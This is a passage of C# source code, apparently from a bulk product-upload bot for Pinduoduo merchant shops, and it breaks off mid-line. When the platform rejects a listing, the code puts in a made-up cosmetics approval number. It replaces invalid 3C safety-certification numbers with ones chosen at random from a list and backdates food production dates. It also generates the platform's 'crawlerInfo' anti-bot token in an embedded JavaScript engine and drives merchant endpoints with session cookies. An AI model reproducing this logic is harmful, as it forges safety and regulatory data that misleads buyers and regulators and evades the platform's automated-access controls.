UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("生产日期")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + //html = ResetProp(catId,"生产日期",api); + } + if (html.Contains("属性保质期校验错误:属性值") && html.Contains("不可选")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("保质期")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("属性化妆品批准文号校验错误:该属性必须填写")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("批准文号")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + string lastitem = ",{\"template_pid\":" + p.id + ",\"vid\":0,\"value\":\"2018004353\",\"value_unit\":\"\"}"; + goods_properties = goods_properties.Substring(0, goods_properties.Length - 1) + lastitem + "]"; + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("属性化妆品批准文号校验错误:该属性必须填写")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("批准文号")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + string lastitem = ",{\"template_pid\":" + p.id + ",\"vid\":0,\"value\":\"2018004353\",\"value_unit\":\"\"}"; + goods_properties = goods_properties.Substring(0, goods_properties.Length - 1) + lastitem + "]"; + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("属性化妆品批准文号校验错误")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("是否为特殊用途化妆品")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + if (mc != null && mc.Count == 1) + { + var item = mc[0].Groups[0].Value; + string lastitem = ",{\"template_pid\":" + p.id + ",\"vid\":325891,\"value\":\"是\",\"value_unit\":\"\"}"; + goods_properties = goods_properties.Replace(item, lastitem); + } + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("属性厂名不符合关联规则,不允许填写")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("厂名")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + if (mc != null && mc.Count == 1) + { + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + p = template.properties.Find(px => px.name.Contains("厂址")); + mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + } + if (mc != null && mc.Count == 1) + { + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + } + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (FromTitleToCat.MainCat[1].Value1.Contains(t.Cat1.ToString()) && (html.Contains("属性成分含量校验错误") || html.Contains("材质") || html.Contains("面料"))) + { + api.Data.Remove("goods_properties"); + string goods_properties = UploadPinduoduoProperties.GetNew(catId, t.Cat1, ref pb, ref Shop, out mustCode, true); + if (goods_properties.Length > 0) //by ttzhao 2020.6.29 + api.Data.Add("goods_properties", "[" + goods_properties.Substring(1) + "]"); + html = api.AddNew(); + } + if (html.Contains("属性净含量校验错误:无效单位")) + { + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + goods_properties = goods_properties.Replace("克", "g"); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("3C认证证书编号")) + { + error_msg = BaseRegex.GetMatchRegexString(ref html, @"""3C认证证书编号:([\w\W]+?),格式不正确"""); + if (!string.IsNullOrEmpty(error_msg)) + { + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + string[] scs = { "2018152203021070", "2013010717593387", "2016010717879090", "2017152204017993" }; + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, scs.Length); + goods_properties = goods_properties.Replace(error_msg.Trim(), scs[randx]); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + } + if (html.Contains("属性3C认证证书编号不符合关联规则")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("3C认证")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + + } + if (html.Contains("属性工业产品生产许可证编号不符合关联规则")) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains("工业")); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + html = api.AddNew(); + } + if (html.Contains("该类目商品不允许设置限购,请设置单次限量为999999")) + { + if (api.Data.ContainsKey("buy_limit")) + { + api.Data["buy_limit"] = "999999"; + api.Data["order_limit"] = "999999"; + } + else + { + api.Data.Add("buy_limit", "999999"); + api.Data.Add("order_limit", "999999"); + } + html = api.AddNew(); + } + if (html.Contains("存在多余或重复输入") && !string.IsNullOrEmpty(mustCode)) + { + var str1 = api.Data["sku_list"]; + api.Data["goods_properties"] = "[" + mustCode.Substring(1) + "]"; + api.Data["sku_list"] = str1; + html = api.AddNew(); + } + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(2000); + html = api.AddNew(); + Thread.Sleep(2000); + } + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(2000); + html = api.AddNew(); + Thread.Sleep(2000); + } + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.AddNew(); + Thread.Sleep(1000); + } + Thread.Sleep(200); + api.Data.Remove("goods_properties"); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + if (error_msg.Contains("该属性必须填写")) + { + } + //if (error_msg.Contains("access_token") || error_msg.Contains("client_id")) + //{ + // Shop.CanUpload = false; + // Shop.Message = error_msg; + // UploadPinduoduoMain.ShopTemp.Add(Shop); + // Error("提交异常:", error_msg); + // return; + //} + if (!string.IsNullOrEmpty(html) && html.Contains("\"goods_id\":")) + { + if (UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName)) + UploadPinduoduoMain.ShopTitles[Shop.ShopName].Add(t.Titlte); + t.GoodsId = BaseRegex.GetLongJson(ref html, "goods_id"); + goodsId = t.GoodsId; + SetUpProduct(t.GoodsId, upProductId, true); + api = new PinduoduoApiGetProduct(Shop); + + int siteId = pb.from_site_id; + if (t.ViGoodsName == "1") + siteId = 1; + if (t.ViGoodsName == "4") + siteId = 4; + if (t.ViGoodsName == "5") + siteId = 5; + if (t.ViGoodsName == "6") + siteId = 6; + + if (string.IsNullOrEmpty(t.ViGoodsName) && (pb.from_site_id == 2 || UploadPinduoduoMain.MultiPrice > 8 || UploadPinduoduoMain.Postage > 0)) + { + new GetNewTaobaoUpId(Shop).Get(t.GoodsId, t.FromId, imageByte, (int)minPriceNewx, (int)maxPriceNewx, beforeTitle); + } + else + { + if (t.ViGoodsId <= 0) + { + if (beforePriceMin > beforePriceMax) + { + int tempPrice = beforePriceMin; + beforePriceMin = beforePriceMax; + beforePriceMax = tempPrice; + } + html = api.Relationx(t.GoodsId, t.FromId, beforePriceMin, beforePriceMax, pb.express_price, siteId); + } + else + { + if (t.ViPriceMin > t.ViPriceMax) + { + int tempPrice = t.ViPriceMin; + t.ViPriceMin = t.ViPriceMax; + t.ViPriceMax = tempPrice; + } + html = api.Relationx(t.GoodsId, t.ViGoodsId, t.ViPriceMin, t.ViPriceMax, t.ViExpressPrice, siteId);//4 京东 5苏宁 + } + int relationCount = 1; + Again: + if (!html.Contains("\"is_success\":true") && html.Contains("调用过于频繁")) + { + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(10, 20); + Thread.Sleep(randx * 1000); + html = api.Relationx(t.GoodsId, t.ViGoodsId, t.ViPriceMin, t.ViPriceMax, t.ViExpressPrice, siteId);//4 京东 5苏宁 + } + if (!html.Contains("\"is_success\":true") && html.Contains("调用过于频繁")) + { + relationCount++; + if (relationCount < 10) + goto Again; + } + if (!html.Contains("\"is_success\":true")) + { + error_msg = "关联异常:" + BaseRegex.GetStringJson(ref html, "error_msg"); + Error("关联异常:" + t.Titlte, error_msg); + } + } + + + if (UploadPinduoduoMain.WhiteBack && !string.IsNullOrEmpty(imageUrlx)) + { + //if (UploadPinduoduoMain.imgList.Count > 100) + //{ + // Thread.Sleep(3000); + // LogSave.Add(Name, "白底图队列已满,等待3秒继续"); + //} + UploadPinduoduoMain.imgList.Add(Shop.ShopName + "@" + goodsId + "@" + imageUrlx); + } + goto End; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("上限")) + { + FullToday = true; + Shop.CanUpload = false; + Shop.Message = error_msg; + UploadPinduoduoMain.ShopTemp.Add(Shop); + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("分类调整")) + { + Error("分类失效:" + catId + ":" + error_msg, error_msg); + return; + } + if (!string.IsNullOrEmpty(error_msg) && + (error_msg.Contains("惩罚") || error_msg.Contains("新协议") || error_msg.Contains("店铺资质") && !error_msg.Contains("出于监管要求") || + error_msg.Contains("通过审核"))) + { + Punish = true; + Shop.CanUpload = false; + Shop.Message = error_msg; + UploadPinduoduoMain.ShopTemp.Add(Shop); + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (error_msg.Contains("授权失败")) + { + Shop.CanUpload = false; + Shop.Message = error_msg; + if (us == null) + UploadPinduoduoMain.ShopTemp.Add(Shop); + else + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + } + Error("提交异常:" + t.Titlte, error_msg); + return; + } + UserMmc: + //模拟接口 + if (Shop.UpCount++ > 150) + { + LogSave.Add(Name, "店铺" + Shop.ShopName + ",上传数据已经达到上限"); + return; + } + long pinId; + if (us != null) + { + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/create_by_sn"; + data = "{\"goods_id\":" + us.GoodsId + "}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + if (pinId == 0) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + } + } + else + { + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/create_new"; + data = "{}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + if (pinId == 0) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + } + } + if (!string.IsNullOrEmpty(html) && html.Contains("达到上限")) + { + error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + FullToday = true; + Shop.CanUpload = false; + Shop.Message = error_msg; + UploadPinduoduoMain.ShopTemp.Add(Shop); + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (pinId == 0) + { + Error("创建异常:" + t.Titlte + " 无法获取编辑ID ", "无法获取编辑ID"); + return; + } + if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + t.Cat1 + ","))//食品 + { + addContent += ",\"shelf_life\":300,\"start_production_date\":" + BaseClass.GetTime(DateTime.Now.AddDays(-5)) + ",\"end_production_date\":" + BaseClass.GetTime(DateTime.Now); + } + else + { + addContent += ",\"shelf_life\":\"\",\"start_production_date\":\"\",\"end_production_date\":\"\""; + } + + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int i = 0; i < 16; i++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string temp2 = strTime + "," + strToken + "," + strNumber; + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string goodProperties = UploadPinduoduoProperties.GetNew(catId, t.Cat1, ref pb, ref Shop, out mustCode); + if (!string.IsNullOrEmpty(goodProperties)) + goodProperties = "[" + goodProperties.Substring(1) + "]"; + else + goodProperties = "[]"; + long limit = 999999;//UploadPinduoduoMain.BuyLimit UploadPinduoduoMain.OrderLimit + //content = content.Replace("阳台", "").Replace("成人", "").Replace("老人", "").Replace("定金", "").Replace("抽奖", "").Replace("VX", "").Replace("★", "").Replace("?", ""); + string dataUp = "{\"cat_id\":" + catId + ",\"crawlerInfo\":\"" + codex + "\",\"goods_type\":\"1\",\"country\":\"\",\"country_id\":\"\"," + + "\"warehouse\":\"\",\"customs\":\"\",\"is_customs\":0,\"is_pre_sale\":0,\"pre_sale_time\":\"\"," + + "\"is_refundable\":1,\"shipment_limit_second\":172800,\"event_type\":\"0\",\"is_folt\":\"1\"," + + "\"goods_name\":\"" + pb.name + "\",\"tiny_name\":\"" + tiny_name + "\",\"market_price\":" + market_price + + ",\"share_desc\":\"" + content + ":\",\"goods_desc\":\"" + content + "\"," + + "\"image_url\":\"\"," + + "\"gallery\":[" + imageString + "],\"cost_template_id\":\"" + Shop.ExpressId.ToString() + "\",\"weight\":\"1.00\",\"warm_tips\":\"\"," + + "\"skus\":[" + (string.IsNullOrEmpty(skuStringx) ? skuString : skuStringx.Substring(1)) + "],\"out_goods_sn\":\"" + out_goods_id + "\",\"groups\":{\"customer_num\":" + UploadPinduoduoMain.GroupCount + "," + + "\"buy_limit\":" + limit + ",\"order_limit\":" + limit + + "},\"production_license\":\"\",\"production_standard_number\":\"\"" + addContent + ",\"goods_commit_id\":\"" + pinId + "\",\"goods_properties\":" + goodProperties + "}"; + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/update"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + error_msg += BaseRegex.GetStringJson(ref html, "sub_msg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":")) + { + Thread.Sleep(20 * 1000); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("规格错误")) + { + Error("保存异常:" + t.Titlte + " " + error_msg, error_msg); + return; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + { + LogSave.Add(Name, "太快了,休眠1分钟"); + Thread.Sleep(100 * 1000); + } + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Thread.Sleep(20 * 1000); + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + Thread.Sleep(100 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + error_msg += BaseRegex.GetStringJson(ref html, "sub_msg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("保存异常:" + t.Titlte + " " + error_msg, error_msg); + return; + } + url = "https://mms.pinduoduo.com/glide/v2/mms/query/goods/is_commit_available/" + pinId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("过于频繁")) + Thread.Sleep(100 * 1000); + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("保存异常,校验失败:" + t.Titlte, error_msg); + return; + } + url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + pinId; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", Cookies); + t.GoodsId = BaseRegex.GetLongJson(ref html, "goods_id"); + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/submit"; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + data = "{\"goods_commit_id\":\"" + pinId + "\",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + + + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + if (!string.IsNullOrEmpty(error_msg) && error_msg.ToLower().Contains("sku")) + { + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("敏感词")) + { + Error("提交异常:" + t.Titlte, error_msg); + return; + } + //if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("账号安全")) + //{ + // FullToday = true; + // Shop.CanUpload = false; + // Error("提交异常:" + t.Titlte, error_msg); + // return; + //} + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("数量上限")) + { + FullToday = true; + Shop.CanUpload = false; + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (!string.IsNullOrEmpty(error_msg) && (error_msg.Contains("二级惩罚") || error_msg.Contains("店铺资质") || error_msg.Contains("通过审核"))) + { + Punish = true; + Shop.CanUpload = false; + Error("提交异常:" + t.Titlte, error_msg); + return; + } + + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (string.IsNullOrEmpty(error_msg)) + error_msg = BaseRegex.GetStringJson(ref html, "errorMsg"); + } + if (string.IsNullOrEmpty(html) || !html.Contains("{\"success\":true")) + { + Error("提交异常:" + t.Titlte, error_msg); + return; + } + if (UploadPinduoduoMain.SingleThreadCount > 1 || !BaseClass.UserApi) + Thread.Sleep(10 * 1000); + else + Thread.Sleep(5 * 1000); + + End: + try + { + if (UploadPinduoduoMain.EditDayTemp.ContainsKey(t.GoodsId)) + UploadPinduoduoMain.EditDayTemp[t.GoodsId] = DateTime.Now; + else + UploadPinduoduoMain.EditDayTemp.Add(t.GoodsId, DateTime.Now); + string shopName = string.IsNullOrEmpty(BaseClass.ShopName) && Shop != null ? Shop.Name : BaseClass.ShopName; + if (UploadProductAllShop.UpToDown) + { + if (!UploadProductAllShop.JustUpload.ContainsKey(shopName)) + UploadProductAllShop.JustUpload.Add(shopName, new List()); + if (!UploadProductAllShop.JustUpload[shopName].Contains(t.GoodsId)) + UploadProductAllShop.JustUpload[shopName].Add(t.GoodsId); + } + string tempFile = "temp/upsame/" + shopName + "edit.tjm"; + temp = t.GoodsId + "," + DateTime.Now.ToString("yyyy-MM-dd") + "\r\n"; + FileBase.AppendAllText(tempFile, temp); + } + catch + { + } + + Shop.UpCount++; + if (us == null) + UploadPinduoduoMain.ShopTemp.Add(Shop); + else + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + t.Message = "提交成功"; + if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("关联异常")) + { + UploadPinduoduoMain.RelErrorMessage = ""; + if (UploadPinduoduoMain.RelErrorCount > 10) + { + UploadPinduoduoMain.RelErrorMessage = "平台服务出现异常,\r\n"+ Md5Base.EncryptEncode(Shop.ClientId); + } + UploadPinduoduoMain.RelErrorCount++; + if (!UploadPinduoduoMain.isDefaultMoni) + { + if (api == null) + api = new PinduoduoApiGetProduct(Shop); + html = api.SetOnline(t.GoodsId, false); + Thread.Sleep(3000); + html = api.DelGoods("[" + t.GoodsId + "]"); + } + Error("提交异常:" + t.Titlte, "关联异常:" + error_msg); + } + else + { + Error("提交成功:" + t.Titlte, t.Message); + } + Success = true; + } + public string ResetProp(int catId, string propname, PinduoduoApiGetProduct api) + { + var template = UploadPinduoduoProperties.CatTemplate[catId].open_api_response; + var p = template.properties.Find(px => px.name.Contains(propname)); + string goods_properties = api.Data["goods_properties"]; + api.Data.Remove("goods_properties"); + var mc = BaseRegex.GetMatchRegex(ref goods_properties, @",{""template_pid"":" + p.id + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + goods_properties = goods_properties.Replace(item, ""); + api.Data["goods_properties"] = goods_properties; + string html = api.AddNew(); + return html; + } + public decimal GetCatTimes(int cat) + { + decimal times = 0; + string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/cat&act=getCatTimes&cat_id=" + cat.ToString(); + string data = UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + decimal.TryParse(html, out times); + if (PinduoduoCatList.NewPriceSpaceCatIdx.ContainsKey(cat)) + times = PinduoduoCatList.NewPriceSpaceCatIdx[cat]; + return times; + } + + //public static void CutImage() + //{ + // List ts = new List(); + // while (true) + // { + // if (ImgDic.Count == 0) + // { + // Thread.Sleep(2000); + // continue; + // } + // var p = ImgDic.FirstOrDefault(); + // ImgDic.Remove(p.Key); + // CutImage cutImage = new CutImage(Name, Shop); + // cutImage.CurrentImage = p; + // Threadx.ThreadListWait(ref ts, new Thread(cutImage.CutImageVaule), 20); + // Thread.Sleep(200); + // } + // Threadx.ThreadListWait(ref ts); + //} + + //public static void CutImage() + //{ + // try + // { + // GetPostTaobaoHtml.DownLoadImage(imageUrlx, out imageByte); + // ImageBuild ib = new ImageBuild(imageByte); + // bool isflag = ib.ImageCuteNoLogo(ref imageByte); + // if (!isflag) + // return; + // string html = UploadImgCut(ref imageByte, goodsId); + // if (html.Contains("false")) + // LogSave.Add(Name, goodsId + "上传白底图失败"); + // else + // LogSave.Add(Name, goodsId + "上传白底图成功"); + // } + // catch + // { + + // } + //} + + + public bool SetUpProduct(long pid, string upProductId, bool add = false) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=insert"; + string data = "&pdd_id=" + pid + "&up_id=" + upProductId + "&table=" + (pid % 1024); + data += add ? "&add=1" : ""; + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data); + if (html != "ok") + { + Thread.Sleep(30 * 1000); + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data); + } + if (html != "ok") + { + LogSave.Add(Name, "服务器记录" + pid + "上家ID异常,请联系客服"); + Thread.Sleep(30 * 1000); + } + return html == "ok"; + } + + + /// 执行JS + /// + /// 参数体 + /// JavaScript代码的字符串 + /// + public static string ExecuteScript(string sExpression, string sCode) + { + try + { + MSScriptControl.ScriptControl scriptControl = new MSScriptControl.ScriptControl(); + scriptControl.UseSafeSubset = true; + scriptControl.Language = "JScript"; + scriptControl.AddCode(sCode); + string str = scriptControl.Eval(sExpression).ToString(); + return str; + } + catch (Exception ex) + { + string str = ex.Message; + } + return null; + } + + public Dictionary PriceTemp = new Dictionary(); + + /// + /// 白名单加价算法 + /// + /// + /// + /// + /// + public int WhitePriceBuild(decimal price, decimal addPrice, decimal postage, decimal postFree) + { + decimal addPricex = addPrice + UploadPinduoduoMain.MultiPricex; + decimal free = postage + postFree; + if (Shop == null)//|| !Shop.Explode + { + free = 0; + if (addPricex > 8) + addPricex = 8; + } + int p = (int)(price * (100 + addPricex) + free * 100); + if (UploadPinduoduoMain.RandPrice) + p -= Randomx.GetId(0, 10); + if (UploadPinduoduoMain.SubCoupon > 0 && !string.IsNullOrEmpty(t.youHuei)) + { + decimal yh; + if (decimal.TryParse(t.youHuei, out yh)) + { + p -= (int)(yh * 100 * UploadPinduoduoMain.SubCoupon / 100); + } + } + return p; + } + + /// + /// 白名单加价算法 + /// + /// + /// + /// + /// + public int WhitePriceBuild(decimal price, decimal addPrice, decimal postFree) + { + decimal addPricex = addPrice + UploadPinduoduoMain.MultiPricex; + decimal free = UploadPinduoduoMain.Postage + postFree; + if (Shop == null)//|| !Shop.Explode + { + free = 0; + if (addPricex > 8) + addPricex = 8; + } + int p = (int)(price * (100 + addPricex) + free * 100); + if (UploadPinduoduoMain.RandPrice) + p -= Randomx.GetId(0, 10); + if (UploadPinduoduoMain.SubCoupon > 0 && !string.IsNullOrEmpty(t.youHuei)) + { + decimal yh; + if (decimal.TryParse(t.youHuei, out yh)) + { + p -= (int)(yh * 100 * UploadPinduoduoMain.SubCoupon / 100); + } + } + return p; + } + + + /// + /// 设置错误信息 + /// + /// + /// + public void Error(string messageShow, string message) + { + t.Message = message; + if (us == null) + { + UploadPinduoduoMain.ProductTemp.Add(t); + } + else + { + UploadPinduoduoMain.ProductReplaceTemp.Add(t); + } + LogSave.Add(Name, messageShow); + } + public string UploadImg(string beforUrl, ref byte[] img, bool hadUp) + { + if (img == null || img.Length == 0) + return ""; + if (ImageTemp.ContainsKey(beforUrl)) + return ImageTemp[beforUrl].Url; + string imgUrl = "", html; + long urlId = Math.Abs(BaseClass.GetLong(beforUrl)); + if (BaseClass.UseApiFirst) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + if (!string.IsNullOrEmpty(html) && html.Contains("频繁")) + Thread.Sleep(3000); + Thread.Sleep(1000); + html = p.UploadImage(img); + imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + } + if (!string.IsNullOrEmpty(imgUrl)) + { + LogSave.Add(Name, "上传图片:" + imgUrl); + if (hadUp) + { + if (!picUped.ContainsKey(urlId)) + picUped.Add(urlId, imgUrl); + if (!picsTemp.ContainsKey(urlId)) + { + try + { + picsTemp.Add(urlId, imgUrl); + } + catch + { + } + } + } + } + return imgUrl; + } + string url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + string refere = "https://mms.pinduoduo.com/goods/goods_add/index?id=5146155709&type=edit"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{\"bucket_tag\":\"mms-material-img\"}", Shop.Cookies);//"{\"bucket_tag\":\"pdd_goods\"}" {\"bucket_tag\":\"pdd_mms\"} + //if (html.Contains("非法请求")) + //{ + // url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + // refere = "https://mms.pinduoduo.com/goods/goods_materials"; + // string data = "{\"bucket_tag\":\"mms-material-img\"}"; + // html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + // string sign = BaseRegex.GetStringJson(ref html, "signature"); + // url = "https://file.pinduoduo.com/v3/store_image"; + // refere = "https://mms.pinduoduo.com/goods/goods_materials"; + // try + // { + // string fileName = Randomx.GetId(100000) + ".jpg"; + // html = HttpPostDataImage(url, 30000, "image", fileName, img, sign, refere); + // imgUrl = BaseRegex.GetStringJson(ref html, "url"); + // if (imgUrl.Contains("null")) + // imgUrl = ""; + // } + // catch + // { + // } + //} + //if (html.Contains("非法请求")) + //{ + // string urlx = "https://aid.pinduoduo.com/api/banner-intelligent/material/upload"; + // string referex = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + // try + // { + // string fileName = Randomx.GetId(100000) + ".jpg"; + // html = HttpPostData(urlx, 30000, "file", fileName, img, referex); + // imgUrl = BaseRegex.GetStringJson(ref html, "result"); + // if (imgUrl.Contains("null")) + // imgUrl = ""; + // } + // catch + // { + // return ""; + // } + //} + //if (html.Contains("非法请求"))//上传图片到客服chat文件夹里面了,可以用暂时不用 + //{ + // url = "https://mms.pinduoduo.com/chats/malls/" + Shop.MallId + "/get_upload_sign"; + // refere = 